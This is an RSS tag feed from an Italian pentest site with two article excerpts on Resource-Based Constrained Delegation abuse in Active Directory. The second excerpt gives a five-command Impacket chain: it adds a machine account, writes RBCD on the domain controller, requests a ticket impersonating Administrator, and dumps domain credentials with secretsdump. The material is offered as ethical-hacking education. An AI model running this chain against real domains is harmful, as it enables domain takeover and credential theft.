https://hackita.it/tags/rbcd/Recent content in Rbcd on Ethical Hacking | Pentest e Sicurezza Informatica | HackitaHugoitSun, 12 Jul 2026 00:00:00 +0000https://hackita.it/articoli/rbcd/Sun, 12 Jul 2026 00:00:00 +0000https://hackita.it/articoli/rbcd/<h1 id="resource-based-constrained-delegation-da-genericwrite-a-domain-admin" class="group/anchor-heading"> Resource-Based Constrained Delegation: Da GenericWrite a Domain Admin <a href="#resource-based-constrained-delegation-da-genericwrite-a-domain-admin" class="text-inherit opacity-0 group-hover/anchor-heading:opacity-100 decoration-transparent">#</a> </h1><p>RBCD sfrutta write access sull&rsquo;attributo <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> di un computer target. Scrivi il SID di un account che controlli, poi usi S4U2Self + S4U2Proxy per ottenere un TGS come Administrator su quel computer — senza toccare krbtgt, senza DCSync diretto.</p> <hr> <p>La Resource-Based Constrained Delegation (RBCD) è stata introdotta in Windows Server 2012 R2 e permette a un computer di dichiarare quali account possono autenticarsi per suo conto. L&rsquo;attributo che controlla questo comportamento — <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> — è scrivibile da chiunque abbia <code>GenericWrite</code>, <code>GenericAll</code> o <code>WriteProperty</code> sull&rsquo;oggetto computer target.</p>https://hackita.it/articoli/semachineaccountquota/Thu, 25 Jun 2026 00:00:00 +0000https://hackita.it/articoli/semachineaccountquota/<h1 id="semachineaccountprivilege-e-rbcd-da-utente-di-dominio-a-domain-admin-in-cinque-comandi" class="group/anchor-heading"> SeMachineAccountPrivilege e RBCD: Da Utente di Dominio a Domain Admin in Cinque Comandi <a href="#semachineaccountprivilege-e-rbcd-da-utente-di-dominio-a-domain-admin-in-cinque-comandi" class="text-inherit opacity-0 group-hover/anchor-heading:opacity-100 decoration-transparent">#</a> </h1><p>Hai credenziali di un utente di dominio standard. Zero privilegi speciali. Il MachineAccountQuota è 10 (default nella maggioranza dei domini). Con Impacket crei un computer account, configuri RBCD sul DC, richiedi un ticket S4U come Administrator: accesso al DC in cinque comandi.</p> <hr> <h2 id="quick-exploit" class="group/anchor-heading"> Quick Exploit <a href="#quick-exploit" class="text-inherit opacity-0 group-hover/anchor-heading:opacity-100 decoration-transparent">#</a> </h2> <div class="shadow-xl border border-primary h-fit rounded-md"> <div class="w-full rounded-t-md py-3 px-[0.8571429em] header-glass flex justify-between items-center"> <div class="flex gap-x-2"> <span class="size-3 bg-red-500 rounded-full"></span> <span class="size-3 bg-yellow-500 rounded-full"></span> <span class="size-3 bg-green-500 rounded-full"></span> </div> <span class="uppercase text-sm">bash</span> </div> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 addcomputer.py CORP.LOCAL/normaluser:Password123 -computer-name HACKITA$ -computer-pass CompP@ss123! -dc-ip 192.168.1.10 </span></span><span class="line"><span class="cl">python3 rbcd.py CORP.LOCAL/normaluser:Password123 -action write -delegate-to <span class="s2">&#34;DC01</span>$<span class="s2">&#34;</span> -delegate-from <span class="s2">&#34;HACKITA</span>$<span class="s2">&#34;</span> -dc-ip 192.168.1.10 </span></span><span class="line"><span class="cl">python3 getST.py CORP.LOCAL/HACKITA<span class="se">\$</span>:CompP@ss123! -spn cifs/DC01.CORP.LOCAL -impersonate Administrator -dc-ip 192.168.1.10 </span></span><span class="line"><span class="cl"><span class="nb">export</span> <span class="nv">KRB5CCNAME</span><span class="o">=</span>Administrator.ccache </span></span><span class="line"><span class="cl">python3 secretsdump.py -k -no-pass CORP.LOCAL/Administrator@DC01.CORP.LOCAL</span></span></code></pre></div> </div> <p>Output atteso:</p>